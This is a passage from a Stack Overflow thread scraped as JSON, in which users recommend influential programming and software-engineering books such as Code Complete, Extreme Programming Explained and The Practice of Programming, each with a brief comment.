http://g-ecx.images-amazon.com/images/G/01/ciu/4b/83/245d9833e7a03768eaf63110._AA240_.L.jpg</a></p>\n\n<p>Fortran was a great language! It had a super optimizer and produced very fast code. It is still very popular in Great Britain and FTN95 is now a very full-featured and capable compiler. I sometimes wish I could have continued to use it, but Delphi is a more than adequate replacement.</p>\n" }, { "answer_id": 263750, "author": "nlativy", "author_id": 33635, "author_profile": "https://Stackoverflow.com/users/33635", "pm_score": 2, "selected": false, "text": "<p>Nobody seems to have mentioned Stroustup's <a href=\"http://www.research.att.com/~bs/3rd.html\" rel=\"nofollow noreferrer\">The C++ Programming Language</a> which is a great book that every C++ programmer should read.</p>\n\n<p>I also think that <a href=\"http://www.amazon.co.uk/Extreme-Programming-Explained-Embrace-Change/dp/0321278658\" rel=\"nofollow noreferrer\">Extreme Programming Explained: Embrace Change</a> should be read by every programmer and manager. Many of the ideas in the book are common knowledge now but the book gives an intelligent and inspiring account of the pursuit of quality in software engineering.</p>\n\n<p>I would second the recommendations for Knuth and Gang of Four which are classics.</p>\n" }, { "answer_id": 283721, "author": "serfmum", "author_id": 27824, "author_profile": "https://Stackoverflow.com/users/27824", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0131489062\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Applying UML and Patterns</a> by Craig Larman.</p>\n\n<p>The title of the book is slightly misleading; it does deal with UML and patterns, but it covers so much more. The subtitle of the book tells you a bit more: An Introduction to Object-Oriented Analysis and Design and Iterative Development.</p>\n" }, { "answer_id": 290363, "author": "Kramii", "author_id": 11514, "author_profile": "https://Stackoverflow.com/users/11514", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://allwrong.wordpress.com/2008/11/14/mini-book-review-graphics-programming-in-windows-charles-petzold/\" rel=\"nofollow noreferrer\">Graphics Programming in Windows</a> is difficult to fault.</p>\n" }, { "answer_id": 301122, "author": "Nicholas Piasecki", "author_id": 32187, "author_profile": "https://Stackoverflow.com/users/32187", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0812906748\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Systemantics: How Systems Work and Especially How They Fail</a>. Get it used cheap. But you might not get the humor until you've worked on a few failed projects.</p>\n\n<p>The beauty of the book is the copyright year.</p>\n\n<p>Probably the most profound takeaway \"law\" presented in the book:</p>\n\n<p><em>The Fundamental Failure-Mode Theorem (F.F.T.): Complex systems usually operate in failure mode.</em></p>\n\n<p>The idea being that there are failing parts in any given piece of software that are masked by failures in other parts or by validations in other parts. See a real-world example at the <a href=\"http://en.wikipedia.org/wiki/Therac-25\" rel=\"noreferrer\">Therac-25 radiation machine</a>, whose software flaws were masked by hardware failsafes. When the hardware failsafes were removed, the software race condition that had gone undetected all those years resulted in the machine killing 3 people.</p>\n" }, { "answer_id": 304171, "author": "stu", "author_id": 12386, "author_profile": "https://Stackoverflow.com/users/12386", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201433079\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Advanced Programming in the UNIX Environment</a> by W. Richard Stevens.</p>\n" }, { "answer_id": 334872, "author": "Adrian", "author_id": 39368, "author_profile": "https://Stackoverflow.com/users/39368", "pm_score": 3, "selected": false, "text": "<p>As I started out developing in Java (and am still doing so to this very day) I'd have to recommend the outstanding work in the field: <a href=\"http://www.mrbunny.com/\" rel=\"nofollow noreferrer\">Mr Bunny's Big Cup o' Java</a>.</p>\n<p>From the author's blurb:</p>\n<blockquote>\n<p>There is simply no better way to learn Java than to have the pineal gland of an expert Java programmer surgically implanted in your brain. Sadly, most HMOs refuse to pay for this career saving procedure, deeming Java to be too experimental. At last there is an alternative treatment for those of us who cannot wait for sweeping health care reforms.</p>\n<p>Mr. Bunny’s Big Cup O’ Java is recommended by n out of ten doctors, where n is any integer you wish to make up to impress an astoundingly gullible public. The book begins with an overview of the book, and quickly expands into the book itself. Just look at the topics covered:</p>\n<ul>\n<li>Java</li>\n</ul>\n<p>In short, MBBCOJ will teach you all you need to know for a successful career in today’s rabbit development environments.</p>\n</blockquote>\n<p>The insight into pixels alone would have cut years off my software developing life.</p>\n" }, { "answer_id": 345603, "author": "Stephen", "author_id": 17398, "author_profile": "https://Stackoverflow.com/users/17398", "pm_score": 1, "selected": false, "text": "<p>Etudes for Programmers by Charles Wetherell, More Programming Pearls (Jon Bently), </p>\n" }, { "answer_id": 371191, "author": "Salvatore Dario Minonne", "author_id": 10170, "author_profile": "https://Stackoverflow.com/users/10170", "pm_score": 3, "selected": false, "text": "<p>Definitively Software Craftsmanship </p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/5186JKTDVWL._SL500_AA240_.jpg\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/5186JKTDVWL._SL500_AA240_.jpg</a></p>\n\n<p>This book explains a lot of things about software engineering, system development. It's also extremly useful to understand the difference between different kind of product developement: web VS shrinkwrap VS IBM framework. What people had in mind when they conceived waterfall model? Read this and all we'll become clear (hopefully)</p>\n" }, { "answer_id": 378301, "author": "Andrew Hanson", "author_id": 15937, "author_profile": "https://Stackoverflow.com/users/15937", "pm_score": 2, "selected": false, "text": "<p>For me it was <a href=\"https://rads.stackoverflow.com/amzn/click/com/0201715945\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Design Patterns Explained</a> it provided an 'Oh that's how it works' moment for me in regards to design patterns and has been very useful when teaching design patterns to others.</p>\n" }, { "answer_id": 378761, "author": "Ferruccio", "author_id": 4086, "author_profile": "https://Stackoverflow.com/users/4086", "pm_score": 1, "selected": false, "text": "<p><strong>The Scelbi-Byte Primer</strong></p>\n\n<p>I pored over the source code listings in this book many times until, one day, I suddenly grokked 8080 assembly language programming.</p>\n" }, { "answer_id": 386338, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1878739069\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Object-Oriented Programming in Turbo C++</a>. Not super popular, but it was the one that got me started, and was the first book that really helped me grok what an object was. Read this one waaaay back in high school. It sort of brings a tear to my eye...</p>\n" }, { "answer_id": 413817, "author": "Slayer SA", "author_id": 1253451, "author_profile": "https://Stackoverflow.com/users/1253451", "pm_score": 1, "selected": false, "text": "<ul>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/com/1576104257\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Game Architecture and Design: Learn the Best Practices for Game Design and Programming</a> </li>\n</ul>\n\n<p>Even though i've never programmed a game this book helped me understand a lot of things in a fun way.</p>\n" }, { "answer_id": 413824, "author": "Slayer SA", "author_id": 1253451, "author_profile": "https://Stackoverflow.com/users/1253451", "pm_score": 1, "selected": false, "text": "<ul>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/com/1861004958\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Professional JSP 2nd Edition</a></li>\n</ul>\n\n<p>I bough this when I was a complete newbie and took me from only knowing that Java existed to a reliable team member in a short time</p>\n" }, { "answer_id": 440028, "author": "Chris Gallucci", "author_id": 8245, "author_profile": "https://Stackoverflow.com/users/8245", "pm_score": 1, "selected": false, "text": "<p>Still a worthwhile classic is the <a href=\"http://homepage.mac.com/bradster/iarchitect/shame.htm\" rel=\"nofollow noreferrer\">Interface Hall of Shame</a>. This website detailed a huge assortment of interface design faux pas that is quite entertaining. The original iarchitect.com no longer exists, but others have re-established the HOS on their own websites.</p>\n" }, { "answer_id": 444785, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/020163385X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Object Oriented Design Heuristics</a> is a great read. I couldn't put it down.</p>\n" }, { "answer_id": 444828, "author": "Kent Beck", "author_id": 13842, "author_profile": "https://Stackoverflow.com/users/13842", "pm_score": 1, "selected": false, "text": "<p>I'll add a couple that I haven't seen here that are influential for me:</p>\n\n<ul>\n<li>Yourdon and Constantine, \"Structured Design\". Everything you need to know about software design is in here, if you're willing to dig for it a little.</li>\n<li>Leonard Koren, \"Wabi-Sabi: for Artists, Designers, Poets &amp; Philosophers\". A pragmatic philosophy balancing beauty and pragmatism. </li>\n</ul>\n" }, { "answer_id": 471147, "author": "Pete Kirkham", "author_id": 1527, "author_profile": "https://Stackoverflow.com/users/1527", "pm_score": 3, "selected": false, "text": "<p>Not the most influential, but worth a look is <a href=\"http://www.amazon.co.uk/Youth-J-M-Coetzee/dp/0436205823\">Youth</a> by J.M.Coetzee.</p>\n\n<p>The narrator of Youth, a student in the South Africa of the 1950s, has long been plotting an escape from his native country: from the stifling love of his mother, from a father whose failures haunt him, and from what he is sure is impending revolution. Studying mathematics, reading poetry, saving money, he tries to ensure that when he arrives in the real world, wherever that may be, he will be prepared to experience life to its full intensity, and transform it into art. Arriving at last in London, however, he finds neither poetry nor romance. Instead he succumbs to the monotony of life as a computer programmer, from which random, loveless affairs offer no relief. Devoid of inspiration, he stops writing. An awkward colonial, a constitutional outsider, he begins a dark pilgrimage in which he is continually tested and continually found wanting.</p>\n\n<p><a href=\"http://img440.imageshack.us/img440/5140/youthgd4.jpg\">youth cover http://img440.imageshack.us/img440/5140/youthgd4.jpg</a></p>\n" }, { "answer_id": 562308, "author": "Sameer", "author_id": 67710, "author_profile": "https://Stackoverflow.com/users/67710", "pm_score": 1, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/069111966X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">How to Solve It: A new aspect of mathematical method</a>\nAlthough not directly related to computer programming but it does teach you the art of problem solving and that's what computer programming is all about.</p>\n" }, { "answer_id": 604291, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I saw a review of <a href=\"https://rads.stackoverflow.com/amzn/click/com/0471202843\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\" title=\"Software Factories: Assembling Applications with Patterns, Models, Frameworks, and Tools\">Software Factories: Assembling Applications with Patterns, Models, Frameworks, and Tools</a> on a blog talking also about <a href=\"http://www.xifactory.com\" rel=\"nofollow noreferrer\">XI-Factory</a>, I read it and I must say this book is a must read. Altough not specifically targetted to programmers, it explains very clearly what is happening in the programming world right now with Model-Driven Architecture and so on.. </p>\n" }, { "answer_id": 633289, "author": "egyamado", "author_id": 66493, "author_profile": "https://Stackoverflow.com/users/66493", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0470261293\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Beginning C# 3.0: An Introduction to Object Oriented Programming</a> </p>\n\n<p>This is the book for those who want to understand the whys and hows of OOP using C# 3.0. You don't want to miss it. </p>\n" }, { "answer_id": 639909, "author": "nandokakimoto", "author_id": 76446, "author_profile": "https://Stackoverflow.com/users/76446", "pm_score": 2, "selected": false, "text": "<p>I'm reading now <a href=\"https://rads.stackoverflow.com/amzn/click/com/0135974445\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Agile Software Development, Principles, Patterns and Practices</a>. For those interested in XP and Object-Oriented Design, this is a classic reading.</p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/519J3P8ANML._SL500_AA240_.jpg\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/519J3P8ANML._SL500_AA240_.jpg</a></p>\n" }, { "answer_id": 664822, "author": "Charlie Flowers", "author_id": 80112, "author_profile": "https://Stackoverflow.com/users/80112", "pm_score": 3, "selected": false, "text": "<p>Here's an excellent book that is not as widely applauded, but is full of deep insight: <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321482751\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Agile Software Development: The Cooperative Game</a>, by Alistair Cockburn. </p>\n\n<p>What's so special about it? Well, clearly everyone has heard the term \"Agile\", and it seems most are believers these days. Whether you believe or not, though, there are some deep principles behind why the Agile movement exists. This book uncovers and articulates these principles in a precise, scientific way. Some of the principles are (btw, these are my words, not Alistair's):</p>\n\n<ol>\n<li>The hardest thing about team software development is getting everyone's brains to have the same understanding. We are building huge, elaborate, complex systems which are invisible in the tangible world. The better you are at getting more peoples' brains to share deeper understanding, the more effective your team will be at software development. <strong>This is the underlying reason that pair programming makes sense. Most people dismiss it (and I did too initially), but with this principle in mind I highly recommend that you give it another shot. You wind up with TWO people who deeply understand the subsystem you just built ... there aren't many other ways to get such a deep information transfer so quickly. It is like a Vulcan mind meld.</strong></li>\n<li>You don't always need words to communicate deep understanding quickly. And a corollary: too many words, and you exceed the listener/reader's capacity, meaning the understanding transfer you're attempting does not happen. Consider that children learn how to speak language by being \"immersed\" and \"absorbing\". Not just language either ... he gives the example of some kids playing with trains on the floor. Along comes another kid who has never even <strong>SEEN</strong> a train before ... but by watching the other kids, he picks up the gist of the game and plays right along. This happens all the time between humans. This along with the corollary about too many words helps you see how misguided it was in the old \"waterfall\" days to try to write 700 page detailed requirements specifications.</li>\n</ol>\n\n<p>There is so much more in there too. I'll shut up now, but I HIGHLY recommend this book!</p>\n" }, { "answer_id": 793395, "author": "Levi Campbell", "author_id": 80535, "author_profile": "https://Stackoverflow.com/users/80535", "pm_score": 2, "selected": false, "text": "<p>Three books come to mind for me.</p>\n\n<ul>\n<li>The Art of Unix Programming by Eric S. Raymond.</li>\n<li>The Wizardry Compiled by Rick Cook.</li>\n<li>The Art of Computer Programming by Donald Knuth.</li>\n</ul>\n\n<p>I also love the writing of <a href=\"http://www.paulgraham.com\" rel=\"nofollow noreferrer\">Paul Graham.</a></p>\n" }, { "answer_id": 793399, "author": "Jared", "author_id": 14744, "author_profile": "https://Stackoverflow.com/users/14744", "pm_score": 1, "selected": false, "text": "<p>An introduction to GW Basic. With out it I never would have learned how to program and any other books wouldn't have done me any good.</p>\n" }, { "answer_id": 793437, "author": "Scott Lance", "author_id": 95104, "author_profile": "https://Stackoverflow.com/users/95104", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://search.barnesandnoble.com/Ivor-Hortons-Beginning-Visual-C-2008/Ivor-Horton/e/9780470225905/?itm=2\" rel=\"nofollow noreferrer\">Beginning Visual C++</a></p>\n\n<p>When I first started programming in a OOP languages, I found this book not only to be a comprehensive book about C++ and MFC, it was also has one of the best explanations of Object Oriented concepts I've seen. </p>\n\n<p>When I talk to developers who are just starting out programming in an object oriented language, I tell them to read this book.</p>\n" }, { "answer_id": 913295, "author": "Jherico", "author_id": 85306, "author_profile": "https://Stackoverflow.com/users/85306", "pm_score": 1, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201510596\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Algorithms in C++</a> was invaluable to me in learning Big O notation and the ins and outs of the various sort algorithms. This was published before Sedgewick decided he could make more money by dividing it into 5 different books. </p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201309831\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">C++ FAQs</a> is an amazing book that really shows you what you should and shouldn't be doing in C++. The backward compatibility of C++ leaves a lot of landmines about and this book helps one carefully avoid them while at the same time being a good introduction into OO design and intent.</p>\n" }, { "answer_id": 946857, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>Kernighan &amp; Plauger's <a href=\"https://rads.stackoverflow.com/amzn/click/com/0070342075\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Elements of Programming Style</a>.\nIt illustrates the difference between gimmicky-clever and elegant-clever. </p>\n" }, { "answer_id": 960996, "author": "Phaedrus", "author_id": 46072, "author_profile": "https://Stackoverflow.com/users/46072", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0735625921\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Solid Code Optimizing the Software Development Life Cycle</a> </p>\n\n<p>Although the book is only 300 pages and favors Microsoft technologies it still offers some good language agnostic tidbits.</p>\n" }, { "answer_id": 962377, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>One of my personal favorites is <a href=\"https://rads.stackoverflow.com/amzn/click/com/0201914654\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Hacker's Delight</a>, because it was as much fun to read as it was educational.</p>\n\n<p>I hope the second edition will be released soon!</p>\n" }, { "answer_id": 972198, "author": "Sylvain Rodrigue", "author_id": 54783, "author_profile": "https://Stackoverflow.com/users/54783", "pm_score": 2, "selected": false, "text": "<p>I read most of the books having an high score on this question - but not all of them (thanks God !) and I added the others one to my <strong>Amazon Wish List</strong> right away !</p>\n\n<p>(Someone should create a list on Amazon for these books... Maybe a list named : \"Stackoverflow best books ever\" ? <strong>Anyone know how to do that ?</strong>)</p>\n\n<p>To me, the best book ever has been <strong>Code Complete</strong>. It was a revelation. I bought the 2nd edition in english and then in French and I still think it should be a mandatory reading in any computer science school. Data structure is cool but Code complete, no joke, is much more important...</p>\n\n<p>Then, my second best book was <strong>Writing Solid Code</strong> - having learn how to be understood, it was great to know how to write solid code.</p>\n\n<p>Then a lot of very nice books but no one to mention here. Until 2001, I think : <strong>Framework Design Guidelines</strong>: Conventions, Idioms, and Patterns for Reusable .NET Libraries. A jewel ! I read this book many times and it's still on my desk, just beside my LCD, along with Code Complete (really !). I Love the way it has been written (love the comment that has been added here and there - books should all be written like that !)</p>\n\n<p>But well, I forget the very first great books I've read ! The ones who make me <em>love</em> computer science, with passion :</p>\n\n<ul>\n<li><strong>Compute!</strong> (C64 magazine - Will never forget <strong>Jim Butterfly</strong> :o)</li>\n<li><strong>Borland C++ User Guides</strong> (the old ones, circa 1991, those who tried to introduce object oriented programming, very nicely written).</li>\n<li>Most <strong>Microsoft Developpement Tools User Guides</strong>, circa 1990-1995. Don't know who were writing them, but they was pretty cool ! I remember reading them late in the night, on saturdays...</li>\n</ul>\n\n<p>Well, excellent question :o)</p>\n" }, { "answer_id": 1055376, "author": "amit", "author_id": 62237, "author_profile": "https://Stackoverflow.com/users/62237", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0262220695\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Concepts, Techniques, and Models of Computer Programming.</a></p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51YZ50ZR13L._SL500_AA240_.jpg\" rel=\"noreferrer\">alt text http://ecx.images-amazon.com/images/I/51YZ50ZR13L._SL500_AA240_.jpg</a></p>\n" }, { "answer_id": 1130558, "author": "Roubachof", "author_id": 46307, "author_profile": "https://Stackoverflow.com/users/46307", "pm_score": 2, "selected": false, "text": "<p>All the <strong>Thinking in...</strong> books.</p>\n\n<p><strong>Bruce Eckel</strong> is THE genious of pedagogy!\nIt's so easy to understand the implementation of polymorphism in C++. It contains all that you should known about C++, basic and advanced concepts. Way better than the Stroustrup's. \nI learnt Java with him too.</p>\n\n<p>And last but not the least:</p>\n\n<p>The C++ one is free !</p>\n\n<p><a href=\"http://www.mindview.net/Books/TICPP/ThinkingInCPP2e.html\" rel=\"nofollow noreferrer\">http://www.mindview.net/Books/TICPP/ThinkingInCPP2e.html</a></p>\n" }, { "answer_id": 1169110, "author": "TahoeWolverine", "author_id": 141652, "author_profile": "https://Stackoverflow.com/users/141652", "pm_score": 3, "selected": false, "text": "<p><img src=\"https://mpbeno.files.wordpress.com/2009/02/innovatorsdilemma1.jpg\" alt=\"alt text\"></p>\n\n<p>This last year I took a number of classes. I read<br/></p>\n\n<p><a href=\"http://books.google.com/books?id=lqKho8KWXmAC&amp;dq=the+innovator%27s+dilemma&amp;printsec=frontcover&amp;source=bn&amp;hl=en&amp;ei=MLhnSu_-DJWHlAev4LjgCQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=4\" rel=\"nofollow noreferrer\">The Innovator's Dilemma (disruptive tech)</a><br/>\n<a href=\"http://en.wikipedia.org/wiki/The_Mythical_Man-Month\" rel=\"nofollow noreferrer\">The Mythical Man Month (managing software)</a><br/>\n<a href=\"http://en.wikipedia.org/wiki/Crossing_the_Chasm\" rel=\"nofollow noreferrer\">Crossing the Chasm (startup)</a><br/>\n<a href=\"http://pages.cs.wisc.edu/~dbbook/\" rel=\"nofollow noreferrer\">Database Management Systems, The COW Book</a><br/>\n<a href=\"http://oreilly.com/catalog/9780596003098/\" rel=\"nofollow noreferrer\">Programming C#, The OSTRICH Book</a><br/>\n<a href=\"http://www.apress.com/book/view/1430216263\" rel=\"nofollow noreferrer\">Beginning iPhone Developmen, The GRAPEFRUIT Book</a><br/></p>\n\n<p>Each book was amazing but the Innovator's Dilemma by Clayton Christensen (1997!!!) is really a fantastic book, and it got me really thinking about the modern software world. The challenge addressed is disruptive technology, and how disk drive companies and non-technical companies are always disrupted by new, game changing technology. It gives one a new perspective when thinking about Google, probably the biggest 'web' company. Why do they have their hands in EVERYTHING? It's because they don't want to have their position <i>disrupted</i> by something new. The preview on google is plenty to get the idea. Read it!</p>\n" }, { "answer_id": 1169124, "author": "Ariel", "author_id": 118464, "author_profile": "https://Stackoverflow.com/users/118464", "pm_score": 2, "selected": false, "text": "<p>Adding to the great ones mentioned above:</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0321127420\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Patterns of Enterprise Application Architecture</a></p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0321200683\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Enterprise Integration Patterns</a></p>\n" }, { "answer_id": 1232808, "author": "scim", "author_id": 102153, "author_profile": "https://Stackoverflow.com/users/102153", "pm_score": 2, "selected": false, "text": "<p>Since I'm a C# programmer and most generic books already has been mentioned I'd like to recommend Bill Wagner's book <a href=\"http://srtsolutions.com/blogs/billwagner/archive/2008/10/17/more-effective-c-available-now.aspx\" rel=\"nofollow noreferrer\">\"More Effective C#</a>.</p>\n\n<p>I think most people that develop composite WPF-applications also should have a look at Microsoft's Composite Application Guidance (also known as Prism):</p>\n\n<p><a href=\"http://www.codeplex.com/CompositeWPF\" rel=\"nofollow noreferrer\">Composite Application Guidance</a></p>\n" }, { "answer_id": 1235820, "author": "Nick Dandoulakis", "author_id": 108130, "author_profile": "https://Stackoverflow.com/users/108130", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/013662149X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Peter Norton's Assembly Language Book for the IBM PC</a></p>\n<p><img src=\"https://pics.librarything.com/picsizes/7a/30/7a30b6e3c62ba88597a66615167434d414f4541.jpg\" alt=\"alt text\" /></p>\n<p>I had spent countless nights in front of the pc (DOS), exploring unknown worlds :-D</p>\n" }, { "answer_id": 1293032, "author": "Ryan Fernandes", "author_id": 111991, "author_profile": "https://Stackoverflow.com/users/111991", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0932633692\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Perfect Software: And Other Illusions about Testing</a></p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51j3BSRspAL._SL500_AA240_.jpg\" rel=\"noreferrer\">TITLE Cover http://ecx.images-amazon.com/images/I/51j3BSRspAL._SL500_AA240_.jpg</a></p>\n\n<p><strong>Perfect Software: And Other Illusions about Testing</strong> <em>by Gerald M. Weinberg</em></p>\n\n<p>ISBN-10: 0932633692</p>\n\n<p>ISBN-13: 978-0932633699</p>\n" }, { "answer_id": 1308751, "author": "Dave Nichol", "author_id": 43271, "author_profile": "https://Stackoverflow.com/users/43271", "pm_score": 2, "selected": false, "text": "<p>How influential a book is often depends on the reader and where they were in their career when they read the book. I have to give a shout-out to <a href=\"https://rads.stackoverflow.com/amzn/click/com/0596007124\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Head First Design Patterns</a>. Great book and the very creative way it's written should be used as an example for other tech book writers. I.e. it's written in order to facilitate learning and internalizing the concepts. </p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51LSqrgoT1L._SS500_.jpg\" rel=\"nofollow noreferrer\">Head First Design Patterns http://ecx.images-amazon.com/images/I/51LSqrgoT1L._SS500_.jpg</a></p>\n" }, { "answer_id": 1317832, "author": "Rejeev Divakaran", "author_id": 10980, "author_profile": "https://Stackoverflow.com/users/10980", "pm_score": 2, "selected": false, "text": "<p>Domain Driven Design By Eric Evans is a wonderful book!</p>\n" }, { "answer_id": 1442468, "author": "TrueWill", "author_id": 161457, "author_profile": "https://Stackoverflow.com/users/161457", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201616416\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Extreme Programming Explained: Embrace Change</a> by Kent Beck. While I don't advocate a hardcore XP-or-the-highway take on software development, I wish I had been introduced to the principles in this book much earlier in my career. Unit testing, refactoring, simplicity, continuous integration, cost/time/quality/scope - these changed the way I looked at development. Before Agile, it was all about the debugger and fear of change requests. After Agile, those demons did not loom as large.</p>\n" }, { "answer_id": 1444527, "author": "RD1", "author_id": 175097, "author_profile": "https://Stackoverflow.com/users/175097", "pm_score": 3, "selected": false, "text": "<p>The practice of programming. By Brian W. Kernighan, Rob Pike.</p>\n\n<p>The style shown here is excellent - the code just speaks for itself, and the whole book follows the KISS principle. Personally not my languages of choice, but still influential to me.</p>\n" }, { "answer_id": 1606458, "author": "cloggins", "author_id": 179026, "author_profile": "https://Stackoverflow.com/users/179026", "pm_score": 1, "selected": false, "text": "<p>It seems most people have already touched on the some very good books. One which really helped me out was <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321245660\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Effective C#: 50 Ways to Improve your C#</a>. I'd be remiss if I didn't mention <a href=\"https://rads.stackoverflow.com/amzn/click/com/014095144X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">The Tao of Pooh</a>. Philosophy books can be good for the soul, and the code.</p>\n" }, { "answer_id": 1690667, "author": "Stacy Vicknair", "author_id": 83117, "author_profile": "https://Stackoverflow.com/users/83117", "pm_score": 1, "selected": false, "text": "<p>One I didn't already see on here was <strong><a href=\"http://www.assoc-amazon.com/e/ir?t=wtfnext-20&amp;l=as2&amp;o=1&amp;a=0131495054\" rel=\"nofollow noreferrer\">xUnit Test Patterns: Refactoring Test Code</a></strong> by Gerard Meszaros. This book really helped me see unit testing from a fresh perspective.</p>\n" }, { "answer_id": 1695762, "author": "Steven Bose", "author_id": 205944, "author_profile": "https://Stackoverflow.com/users/205944", "pm_score": 3, "selected": false, "text": "<p>\"The Practice of programming\" by Brian W.Kerninghan &amp; Rob Pike.</p>\n\n<p>The language is easy and also the subject matter is interesting.</p>\n" }, { "answer_id": 1695803, "author": "pajato0", "author_id": 91443, "author_profile": "https://Stackoverflow.com/users/91443", "pm_score": 1, "selected": false, "text": "<p>I'm late to this question but apparently still have something unique to offer... <em>Software Engineering Economics</em> by <a href=\"http://en.wikipedia.org/wiki/Barry_Boehm\" rel=\"nofollow noreferrer\">Barry Boehm</a> which, to summarize, says that if you want to really improve software productivity get better people since better tools, hardware, languages, methods, etc. will all have a marginal impact. Only better people drive up productivity by significant amounts. I emphasize, this is <strong>better</strong> engineers, not more engineers!</p>\n\n<p>Not the kind of book you'd take to bed with you, like you might do with <em>Coders At Work</em> but the kind of book that drives home a lesson that our industry has struggled mightily to take to heart. Witness off-shoring, a false economy that Boehm's model predicts will have only a marginal positive effect, if any at all. Check it out.</p>\n" }, { "answer_id": 1784931, "author": "Upperstage", "author_id": 213113, "author_profile": "https://Stackoverflow.com/users/213113", "pm_score": 1, "selected": false, "text": "<p>Essential reading for any mentor/team leader/manager or anyone who reports to the aforementioned.</p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/316N6QYW32L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/316N6QYW32L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg</a> </p>\n" }, { "answer_id": 1805444, "author": "tsilb", "author_id": 11112, "author_profile": "https://Stackoverflow.com/users/11112", "pm_score": 3, "selected": false, "text": "<p>hackers, by Steven Levy.</p>\n\n<p>The personality and way of life must come first. Everything else can be learned.</p>\n" }, { "answer_id": 1805501, "author": "EricSchaefer", "author_id": 8976, "author_profile": "https://Stackoverflow.com/users/8976", "pm_score": 2, "selected": false, "text": "<p>Advanced Programming in the UNIX environment - W. Richard Stevens</p>\n" }, { "answer_id": 1841670, "author": "t0mm13b", "author_id": 206367, "author_profile": "https://Stackoverflow.com/users/206367", "pm_score": 2, "selected": false, "text": "<p>What happened to 'Expert C Programming - Deep C Secrets' by Peter Van Der Linden - a classical and enjoyable read. Should have read that immediately after learning C years ago but got it about after 3 years into learning C! A recommended book which answers the most common SO questions on pointers (a favourite subject of mine). Live it, eat it, breathe it! 10/10!</p>\n" }, { "answer_id": 1901748, "author": "z-index", "author_id": 185349, "author_profile": "https://Stackoverflow.com/users/185349", "pm_score": 1, "selected": false, "text": "<p>This is a must read book for every programmer: Database system concepts by Abraham Silberschatz.</p>\n\n<p><a 